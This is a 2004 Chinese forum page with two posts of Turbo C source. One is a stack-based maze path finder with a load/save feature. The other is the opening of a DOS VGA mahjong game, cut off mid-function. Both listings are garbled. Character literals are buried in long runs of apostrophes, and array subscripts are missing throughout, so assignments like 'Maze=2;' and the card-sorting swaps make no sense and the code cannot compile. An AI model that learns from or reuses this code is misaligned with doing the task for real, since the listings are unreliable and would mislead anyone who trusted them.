C语言技术文章

韩冰发表于 2004-10-4 02:34

<DIV align=left>
程序目的：
输入一个任意大小的迷宫，用栈求出一条走出迷宫的路径，并
显示在屏幕上。
程序实现：
可以实现载入迷宫和保存迷宫，附带文件中有4个测试迷宫路径的
文件test1~4.dd。请将这些文件拷贝到TC当前目录下，或者在载
入时写明完全路径。由于屏幕大小的限制，当用户自己输入迷宫
时一定要注意：迷宫大小是有限制的，不小于4*3,不大于30*20。
否则会出现错误信息。输入开始时全是墙，用上下左右键移动，
用Del键删除墙，形成通路，用Enter键添加墙。输入结束时可以
将迷宫保存下来，以dd为扩展名。输入完毕时用F9键来得到结果，
找到路径时，屏幕下方会出现Path found，否则出现Path not found。
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
不可以在VC上编译。
下载DOS版和windows版的迷宫游戏全部代码
用户名：migong
----------------------------------------------------------------------------------
/*
MazePath Demo BY Turbo C 2.0
Copyright(c) RoverUnion. All right reserved.
Filename: Maze.c
Author Dongchengyu.
Ver 1.10
*/
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
#include <conio.h>
#include <dos.h>
#define OK 1
#define ERROR 0
#define TRUE 1
#define FALSE 0
#define F9 0x43
#define Esc 0x1b
#define Del 0x53
#define Home 0x47
#define End 0x4f
#define Space 0x20
#define Up 0x48
#define Down 0x50
#define Left 0x4b
#define Right 0x4d
#define Enter 0x0d
#define F2 0x3c
#define F3 0x3d
#define STACK_INIT_SIZE 200
#define STACKINCREMENT 10
typedef int Boolean;
typedef int Status;
typedef struct {
int x;
int y;
} PosType;
typedef struct {
int ord;
PosType seat;
int di;
} SElemType;
typedef struct {
int td;
int foot;
int mark;
} MazeType;
typedef struct {
SElemType *base;
SElemType *top;
int stacksize;
} Stack;
int Maze;
MazeType maze;
PosType StartPlace;
PosType EndPlace;
int count;
int m,n;
Boolean b_start=FALSE,b_end=FALSE;
void CreatMaze(void);
Status SaveMaze(char *filename);
Status LoadMaze(char *filename);
void Error(char *message);
Status InitStack(Stack *s);
Status DestroyStack(Stack *s);
Status ClearStack(Stack *s);
Boolean StackEmpty(Stack *s);
int StackLength(Stack *s);
Status Push(Stack *s,SElemType e);
SElemType Pop(Stack *s,SElemType e);
Status GetTop(Stack *s,SElemType *e);
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
Boolean Pass(PosType curpos);
void MarkPrint(PosType seat);
void FootPrint(PosType curpos);
PosType NextPos(PosType seat,int di);
Status MazePath(PosType start,PosType end);
void CreatMaze(void)
/* Form the maze. */
{
void Error(char *message);
Status SaveMaze(char *filename);
Status LoadMaze(char *filename);
int i,j;
int x,y;
char c;
char savename,loadname;
Boolean flag=FALSE,load=FALSE;
clrscr();
printf("Menu:\n\n");
printf("1.Load Mazefile:(*.dd)\n\n");
printf("2.Input Maze:\n\n");
printf("Input your choice: ");
do
{
c=getch();
switch(c)
{
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
case Esc: sleep(1); exit(1);
default: break;
}
}
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&&c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
{
printf("\n\nLoadName: ");
scanf("%s",loadname);
if(LoadMaze(loadname))
{
sleep(1); load=TRUE;
}
else { gotoxy(1,9); printf("Load fail! "); }
}
if(!load)
{
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
printf("\nInput Length :\n");
scanf("%d",&m);
printf("\nInput Width :\n");
scanf("%d",&n);
if(m<4||n<4) Error("Input");
if(m>30||n>20) Error("Maze too large");
for(i=0;i<30;i++)
for(j=0;j<20;j++)
Maze=2;
StartPlace.x=0;
StartPlace.y=0;
EndPlace.x=0;
EndPlace.y=0;
clrscr();
printf("\n");
for(i=1;i<=n;i++)
{
for(j=1;j<=m;j++)
{
printf(" #");
Maze=0;
}
printf("\n");
}
}
gotoxy(65,5);
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
gotoxy(65,7);
printf("Start:Home");
gotoxy(65,9);
printf("End:End");
gotoxy(65,11);
printf("Delete Wall:Del");
gotoxy(65,13);
printf("Enter Wall:Enter");
gotoxy(65,15);
printf("Save Maze:F2");
gotoxy(65,17);
printf("Complete:F9");
gotoxy(65,19);
printf("Exit:Esc");
gotoxy(4,3);
x=4;y=3;
do
{
c=getch();
switch(c)
{
case Up: if(y>3) { y--; gotoxy(x,y); }
break;
case Down: if(y<n) { y++; gotoxy(x,y); }
break;
case Left: if(x>4) { x-=2; gotoxy(x,y); }
break;
case Right: if(x<2*m-2) { x+=2; gotoxy(x,y); }
break;
case Del: if(y-2==StartPlace.y&&x/2-1==StartPlace.x) b_start=FALSE;
if(y-2==EndPlace.y&&x/2-1==EndPlace.x) b_end=FALSE;
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze=1; gotoxy(x,y);
break;
case Enter: if(y-2==StartPlace.y&&x/2-1==StartPlace.x) break;
if(y-2==EndPlace.y&&x/2-1==EndPlace.x) break;
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze=0; gotoxy(x,y);
break;
case Home: if(Maze&&!b_start)
{
StartPlace.x=x/2-1;
StartPlace.y=y-2;
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
gotoxy(x,y);
b_start=TRUE;
}
break;
case End: if(Maze&&!b_end)
{
EndPlace.x=x/2-1;
EndPlace.y=y-2;
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
gotoxy(x,y);
b_end=TRUE;
}
break;
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
case F9: if(b_start&&b_end) flag=TRUE; break;
case F2: gotoxy(2,22);
printf("Savename:");
scanf("%s",savename);
gotoxy(2,22);
if(SaveMaze(savename)) printf("Save OK! ");
else printf("Save fail! ");
sleep(1);
gotoxy(2,22);
printf(" ");
gotoxy(x,y);
break;
default: break;
}
}
while(!flag);
for(i=0;i<30;i++)
for(j=0;j<20;j++)
{
maze.td=Maze;
maze.mark=0;
maze.foot=0;
}
}
Status LoadMaze(char *file)
/* The maze has been loaded. */
{
FILE *fp;
char *buffer;
char ch;
int i=0,j,k;
Boolean len=FALSE,wid=FALSE;
if((fp=fopen(file,"r"))==NULL)
return ERROR;
buffer=(char *)malloc(600*sizeof(char));
ch=fgetc(fp);
while(ch!=EOF)
{
buffer=ch;
i++;
ch=fgetc(fp);
}
m=30;n=20;
for(i=0;i<600;i++)
{
j=i/30; k=i%30;
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&&!len){ m=i; len=TRUE; }
if(k==0&&buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&&!wid){ n=j; wid=TRUE; }
switch(buffer)
{
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze=0; break;
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze=1; break;
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze=2; break;
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze=1;
StartPlace.x=k;
StartPlace.y=j;
b_start=TRUE;
break;
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze=1;
EndPlace.x=k;
EndPlace.y=j;
b_end=TRUE;
break;
default : break;
}
}
fclose(fp);
clrscr();
for(i=0;i<30;i++)
for(j=0;j<20;j++)
{
maze.td=Maze;
maze.foot=0;
maze.mark=0;
if(Maze==0)
{
gotoxy(2*i+2,j+2);
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
}
}
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
return OK;
}
Status SaveMaze(char *filename)
/* The maze has been saved. */
{
FILE *fp;
char *buffer;
int i,j,k;
fp=fopen(filename,"wb");
buffer=(char *)malloc(600*sizeof(char));
for(i=0;i<600;i++)
{
j=i/30; k=i%30;
switch(Maze)
{
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
default : Error("Write"); break;
}
if(k==StartPlace.x&&j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
if(k==EndPlace.x&&j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
}
fwrite(buffer,600,1,fp);
free(buffer);
fclose(fp);
return OK;
}
void Error(char *message)
{
clrscr();
fprintf(stderr,"Error:%s\n",message);
exit(1);
} /* Error */

Status InitStack(Stack *s)
/* The stack s has been created and is initialized to be empty. */
{
s->base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
if(!s->base) Error("Overflow");
s->top=s->base;
s->stacksize=STACK_INIT_SIZE;
return OK;
} /* InitStack */
Status DestroyStack(Stack *s)
/* The stack s has been destroyed. */
{
s->top=NULL;
s->stacksize=0;
free(s->base);
s->base=NULL;
return OK;
} /* DestroyStack */
Status ClearStack(Stack *s)
/* The stack has been clear to be maximum. */
{
s->top=s->base;
s->stacksize=STACK_INIT_SIZE;
return OK;
} /* ClearStack */
Boolean StackEmpty(Stack *s)
/* Check if the stack s is empty. */
{
if(s->top==s->base) return TRUE;
else return FALSE;
} /* StackEmpty */
int StackLength(Stack *s)
/* Gain the length of the stack s. */
{
if(s->top>s->base) return (int)(s->top-s->base);
else return 0;
} /* StackLength */
Status Push(Stack *s,SElemType e)
/* The element e has been pushed into the stack s. */
{
if(s->top-s->base>=s->stacksize)
{
s->base=(SElemType *)realloc(s->base,
(s->stacksize+STACKINCREMENT)*sizeof(SElemType));
if(!s->base) Error("Overflow");
s->top=s->base+s->stacksize;
s->stacksize+=STACKINCREMENT;
}
*s->top++=e;
return OK;
} /* Push */
SElemType Pop(Stack *s,SElemType e)
/* The element e has been removed from the stack s. */
{
if(s->top==s->base) Error("Pop");
e=*--s->top;
return e;
} /* Pop */
Status GetTop(Stack *s,SElemType *e)
/* The element e has got to the top of the stack s.*/
{
if(s->top==s->base) Error("GetTop");
*e=*(s->top-1);
return OK;
} /* GetTop */
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
{
SElemType p;
int result;
if(s->top==s->base) return ERROR;
p=s->base;
while(!(p==s->top))
{
result=(*visit)(p);
p++;
}
return OK;
} */
Boolean Pass(PosType curpos)
/* Check if the current position can be passed. */
{
if(maze.td==1&&
maze.foot==0&&maze.mark==0)
return TRUE;
else return FALSE;
} /* Pass */
void MarkPrint(PosType seat)
/* Mark the position seat. */
{
maze.mark=-1;
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
} /* MarkPrint */
void FootPrint(PosType curpos)
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
{
maze.foot=1;
} /* FootPrint */
PosType NextPos(PosType seat,int di)
{
switch(di)
{
case 1: seat.y++; return seat; /* Eastward */
case 2: seat.x++; return seat; /* Southward */
case 3: seat.y--; return seat; /* Westward */
case 4: seat.x--; return seat; /* Northward */
default: seat.x=0; seat.y=0; return seat;
}
} /* NextPos */

/* The key to the program. */
/* Pre: The maze array & the startplace & the endplace.
Post: Find the one traverse of the maze and perform the mazepath.
Uses: The ADT stack class.
*/
Status MazePath(PosType start,PosType end)
{
PosType curpos;
int curstep;
SElemType e;
Stack *s,stack;
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
if(!stack.base) Error("Overflow");
stack.top=stack.base;
stack.stacksize=STACK_INIT_SIZE;
s=&stack;
curpos=start;
curstep=1;
do
{
if(Pass(curpos))
{
FootPrint(curpos);
e.ord=curstep; e.seat=curpos; e.di=1;
gotoxy((curpos.y+1)*2,curpos.x+2);
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
delay(8000); /* pospone time. */
Push(s,e);
if(curpos.x==end.x&&curpos.y==end.y) /* Proceed recursively. */
{
DestroyStack(s);
return TRUE;
}
curpos=NextPos(curpos,1); /* Try next position. */
curstep++;
}
else
{
if(!StackEmpty(s))
{
e=Pop(s,e); /* Removed e from s. */
while(e.di==4&&!StackEmpty(s)) /* Four directions have been checked
and s is not empty. */
{
MarkPrint(e.seat);
gotoxy((e.seat.y+1)*2,e.seat.x+2);
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
delay(8000); /* Pospone time. */
gotoxy((e.seat.y+1)*2,e.seat.x+2);
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
e=Pop(s,e); /* Remove e from s. */
curstep--;
}
if(e.di<4) /* The current position hasnot been checked. */
{
e.di++;
Push(s,e); /* Insert e into s. */
curpos=NextPos(e.seat,e.di); /* Try next position. */
}
}
}
}
while(!StackEmpty(s));
DestroyStack(s);
return FALSE;
} /* MazePath */
void main()
{
PosType start,end;
CreatMaze();
start.x=StartPlace.y;
start.y=StartPlace.x;
end.x=EndPlace.y;
end.y=EndPlace.x;
if(MazePath(start,end))
{
gotoxy(2,22);
printf("Path found\n");
}
else
{
gotoxy(2,22);
printf("Path not found\n");
}
getch();
clrscr();
} </DIV>

韩冰发表于 2004-10-4 02:36

.:.:上海黑暗之龙--麻将原代码:.:.<DIV 626px; HEIGHT: 132px" align=left>部分图片未上传
/*天宇软件
作者：上海黑暗之龙
2002/10/30
麻将原代码*/
#include "dos.h"
#include "stdio.h"
#include "graphics.h"
#include "bios.h"
#include "conio.h"
#include "stdlib.h"
unsigned char far *video_buffer=(char far *)0xA0000000L;
#define VGA256 0x13 /*图形模式13h*/
#define TEXT_MODE 0x03 /*普通文本模式*/
#define SETVGA Set_Video_Mode(VGA256)
#define OUTVGA Set_Video_Mode(TEXT_MODE)
#define BYTE unsigned char
#define WORD unsigned int
#define DWORD unsigned int
#define ESC 283
#define LEFT 19200
#define RIGHT 19712
#define H 9064
#define ENTER 7181
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
struct chi
{
int lg;
int lgg;
}ch;
struct mj
{ char *name; /*名字*/
int data1; /*是否已出，无用了*/
int data2; /*是否在手中，1为自己，2为对方*/
int number; /*同一个花色的第几张，共4张*/
}m={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
"34.bmp"};
struct every
{ int *k; /*名字*/
int oneorfour; /*同一张牌的第几张*/
int number; /*第几张牌136*/
int p;
int g;
int c;
int d;
};
struct me
{ int m; /*定义有几张牌，开始有13张随着游戏的进行，会越来越小*/
int p; /*乓对方*/
int c; /*吃对方*/
int g; /*杠*/

struct every pp; /*存放手上的牌*/
}me;
struct computer
{ int m;
int p;
int c;
int g;
struct every pp;
}computer,comp;

/* 设置调色板 */
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
{
outportb(0x3c8,Color); /*0x3c8写端口写色号*/
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
outportb(0x3c9,g);
outportb(0x3c9,b);
}
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
/* 设置显示模式的函数 */
void Set_Video_Mode(int mode)
{
union REGS inregs,outregs; /*定义输入和返回寄存器*/
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
int86(0x10,&inregs,&outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
}
void v_line(int y0,int y1,int x,unsigned int color)
{ unsigned int address,n,temp;
if(y0>y1)
{
temp=y1;
y1=y0;
y0=temp;
}
address=320*y0+x;
for(n=0;n<=y1-y0;n++)
{
video_buffer=color;
address+=320;
}
}
void h_line(int x0,int x1,int y,unsigned int color)
{ unsigned int address,n,temp;
if(x0>x1)
{
temp=x1;
x1=x0;
x0=temp;
}
address=320*y+x0;
for(n=0;n<=x1-x0;n++)
{
video_buffer=color;
address+=1;
}
}
void p_pixel(int x,int y,unsigned int color)
{ video_buffer=color;
}
void s_square(int x,int y,int side,int color)
{
h_line(x,x+side,y,color);
h_line(x,x+side,y+side,color);
v_line(y,y+side,x,color);
v_line(y,y+side,x+side,color);
}
void r_rectangle(int x1,int y1,int x2,int y2,int color)
{
h_line(x1,x2,y1,color);
h_line(x1,x2,y2,color);
v_line(y1,y2,x1,color);
v_line(y1,y2,x2,color);
}
void fillRectangle(int x1,int y1,int x2,int y2,int color)
{
int i;
for(i=y1;i<=y2;i++)
{
h_line(x1,x2,i,color);
}
}
void showbmp(int l)
{ FILE *bmp;
int i,x,y;
BYTE palette;
bmp=fopen(me.pp.k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i<256;i++)
{
palette=fgetc(bmp)>>2;
palette=fgetc(bmp)>>2;
palette=fgetc(bmp)>>2;
fgetc(bmp);
Set_Palette(i,palette,palette,palette);
}
for (y=0;y<30;y++)
for(x=0;x<20;x++)
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
fclose(bmp);
}
void showbmpd(int l)
{ FILE *bmp;
int i,x,y;
BYTE palette;
bmp=fopen(me.pp.k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i<256;i++)
{
palette=fgetc(bmp)>>2;
palette=fgetc(bmp)>>2;
palette=fgetc(bmp)>>2;
fgetc(bmp);
Set_Palette(i,palette,palette,palette);
}
for (y=0;y<30;y++)
for(x=0;x<20;x++)
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
fclose(bmp);
}
void showybmp(int ll)
{ FILE *bmp;
int i,x,y;
BYTE palette;
bmp=fopen(computer.pp.k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i<256;i++)
{
palette=fgetc(bmp)>>2;
palette=fgetc(bmp)>>2;
palette=fgetc(bmp)>>2;
fgetc(bmp);
Set_Palette(i,palette,palette,palette);
}
for (y=0;y<30;y++)
for(x=0;x<20;x++)
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
fclose(bmp);
}
void showcbmp(int ll)
{ FILE *bmp;
int i,x,y;
BYTE palette;
bmp=fopen(computer.pp.k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i<256;i++)
{
palette=fgetc(bmp)>>2;
palette=fgetc(bmp)>>2;
palette=fgetc(bmp)>>2;
fgetc(bmp);
Set_Palette(i,palette,palette,palette);
}
for (y=0;y<30;y++)
for(x=0;x<20;x++)
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
fclose(bmp);
}
void bmpp(int number)
{ FILE *bmp;
int i,x,y;
BYTE palette;
bmp=fopen(m.name,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i<256;i++)
{
palette=fgetc(bmp)>>2;
palette=fgetc(bmp)>>2;
palette=fgetc(bmp)>>2;
fgetc(bmp);
Set_Palette(i,palette,palette,palette);
}
for (y=0;y<30;y++)
for(x=0;x<20;x++)
pokeb(0xa000,y*320+x+zl,fgetc(bmp));
fclose(bmp);
}
void comlipai() /*整理电脑的牌*/
{ int n,j,u;
int *lingshi;
for(n=0;n<computer.m;n++)
for(j=n;j<computer.m;j++)
{
if(computer.pp.number>computer.pp.number)
{
lingshi=computer.pp.k;
computer.pp.k=computer.pp.k;
computer.pp.k=lingshi;
u=computer.pp.oneorfour;
computer.pp.oneorfour=computer.pp.oneorfour;
computer.pp.oneorfour=u;
u=computer.pp.number;
computer.pp.number=computer.pp.number;
computer.pp.number=u;
}
else
if(computer.pp.number==computer.pp.number)
if(computer.pp.oneorfour>computer.pp.oneorfour)
{
lingshi=computer.pp.k;
computer.pp.k=computer.pp.k;
computer.pp.k=lingshi;
u=computer.pp.oneorfour;
computer.pp.oneorfour=computer.pp.oneorfour;
computer.pp.oneorfour=u;
u=computer.pp.number;
computer.pp.number=computer.pp.number;
computer.pp.number=u;
}
}
}
void melipai()
{ int n,j,u;
int *lingshi;
for(n=0;n<me.m;n++)
for(j=n;j<me.m;j++)
{
if(me.pp.number>me.pp.number)
{
lingshi=me.pp.k;
me.pp.k=me.pp.k;
me.pp.k=lingshi;
u=me.pp.oneorfour;
me.pp.oneorfour=me.pp.oneorfour;
me.pp.oneorfour=u;
u=me.pp.number;
me.pp.number=me.pp.number;
me.pp.number=u;
}
else
if(me.pp.number==me.pp.number)
if(me.pp.oneorfour>me.pp.oneorfour)
{
lingshi=me.pp.k;
me.pp.k=me.pp.k;
me.pp.k=lingshi;
u=me.pp.oneorfour;
me.pp.oneorfour=me.pp.oneorfour;
me.pp.oneorfour=u;
u=me.pp.number;
me.pp.number=me.pp.number;
me.pp.number=u;
}
}
}
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
if(me.pp.number<=35 && me.pp.number>=0)
{
logo=1;
if(me.pp.number<=3 && me.pp.number>=0)
logoo=1;
else if(me.pp.number<=7 && me.pp.number>=4)
logoo=2;
else if(me.pp.number<=11 && me.pp.number>=8)
logoo=3;
else if(me.pp.number<=15 && me.pp.number>=12)
logoo=4;
else if(me.pp.number<=19 && me.pp.number>=16)
logoo=5;
else if(me.pp.number<=23 && me.pp.number>=20)
logoo=6;
else if(me.pp.number<=27 && me.pp.number>=24)
logoo=7;
else if(me.pp.number<=31 && me.pp.number>=28)
logoo=8;
else if(me.pp.number<=35 && me.pp.number>=32)
logoo=9;
}
else if(me.pp.number<=71 && me.pp.number>=36)
{
logo=2;
if(me.pp.number<=39 && me.pp.number>=36)
logoo=1;
else if(me.pp.number<=43 && me.pp.number>=40)
logoo=2;
else if(me.pp.number<=47 && me.pp.number>=44)
logoo=3;
else if(me.pp.number<=51 && me.pp.number>=48)
logoo=4;
else if(me.pp.number<=55 && me.pp.number>=52)
logoo=5;
else if(me.pp.number<=59 && me.pp.number>=56)
logoo=6;
else if(me.pp.number<=63 && me.pp.number>=60)
logoo=7;
else if(me.pp.number<=67 && me.pp.number>=64)
logoo=8;
else if(me.pp.number<=71 && me.pp.number>=68)
logoo=9;
}
else if(me.pp.number<=107 && me.pp.number>=72)
{
logo=3;
if(me.pp.number<=75 && me.pp.number>=72)
logoo=1;
else if(me.pp.number<=79 && me.pp.number>=76)
logoo=2;
else if(me.pp.number<=83 && me.pp.number>=80)
logoo=3;
else if(me.pp.number<=87 && me.pp.number>=84)
logoo=4;
else if(me.pp.number<=91 && me.pp.number>=88)
logoo=5;
else if(me.pp.number<=95 && me.pp.number>=92)
logoo=6;
else if(me.pp.number<=99 && me.pp.number>=96)
logoo=7;
else if(me.pp.number<=103 && me.pp.number>=100)
logoo=8;
else if(me.pp.number<=107 && me.pp.number>=104)
logoo=9;
}
else if(me.pp.number<=135 && me.pp.number>=108)
{
logo=4;
if(me.pp.number<=111 && me.pp.number>=108)
logoo=1;
else if(me.pp.number<=115 && me.pp.number>=112)
logoo=2;
else if(me.pp.number<=119 && me.pp.number>=116)
logoo=3;
else if(me.pp.number<=123 && me.pp.number>=120)
logoo=4;
else if(me.pp.number<=127 && me.pp.number>=124)
logoo=5;
else if(me.pp.number<=131 && me.pp.number>=128)
logoo=6;
else if(me.pp.number<=135 && me.pp.number>=132)
logoo=7;
}
while(b<=computer.m)
{
if(computer.pp.number<=35 && computer.pp.number>=0) /*假定电脑经过分析后出了第一张牌*/
{
lg=1;
computer.pp.d=1;
if(computer.pp.number<=3 && computer.pp.number>=0)
{
lgg=1;
computer.pp.d=1;
}
else if(computer.pp.number<=7 && computer.pp.number>=4)
{
lgg=2;
computer.pp.d=2;
}
else if(computer.pp.number<=11 && computer.pp.number>=8)
{
lgg=3;
computer.pp.d=3;
}
else if(computer.pp.number<=15 && computer.pp.number>=12)
{
lgg=4;
computer.pp.d=4;
}
else if(computer.pp.number<=19 && computer.pp.number>=16)
{
lgg=5;
computer.pp.d=5;
}
else if(computer.pp.number<=23 && computer.pp.number>=20)
{
lgg=6;
computer.pp.d=6;
}
else if(computer.pp.number<=27 && computer.pp.number>=24)
{
lgg=7;
computer.pp.d=7;
}
else if(computer.pp.number<=31 && computer.pp.number>=28)
{
lgg=8;
computer.pp.d=8;
}
else if(computer.pp.number<=35 && computer.pp.number>=32)
{
lgg=9;
computer.pp.d=9;
}
}
else if(computer.pp.number<=71 && computer.pp.number>=36)
{
lg=2;
computer.pp.d=2;
if(computer.pp.number<=39 && computer.pp.number>=36)
{
lgg=1;
computer.pp.d=1;
}
else if(computer.pp.number<=43 && computer.pp.number>=40)
{
lgg=2;
computer.pp.d=2;
}
else if(computer.pp.number<=47 && computer.pp.number>=44)
{
lgg=3;
computer.pp.d=3;
}
else if(computer.pp.number<=51 && computer.pp.number>=48)
{
lgg=4;
computer.pp.d=4;
}
else if(computer.pp.number<=55 && computer.pp.number>=52)
{
lgg=5;
computer.pp.d=5;
}
else if(computer.pp.number<=59 && computer.pp.number>=56)
{
lgg=6;
computer.pp.d=6;
}
else if(computer.pp.number<=63 && computer.pp.number>=60)
{
lgg=7;
computer.pp.d=7;
}
else if(computer.pp.number<=67 && computer.pp.number>=64)
{
lgg=8;
computer.pp.d=8;
}
else if(computer.pp.number<=71 && computer.pp.number>=68)
{
lgg=9;
computer.pp.d=9;
}
}
else if(computer.pp.number<=107 && computer.pp.number>=72)
{
lg=3;
computer.pp.d=3;
if(computer.pp.number<=75 && computer.pp.number>=72)
{
lgg=1;
computer.pp.d=1;
}
else if(computer.pp.number<=79 && computer.pp.number>=76)
{
lgg=2;
computer.pp.d=2;
}
else if(computer.pp.number<=83 && computer.pp.number>=80)
{
lgg=3;
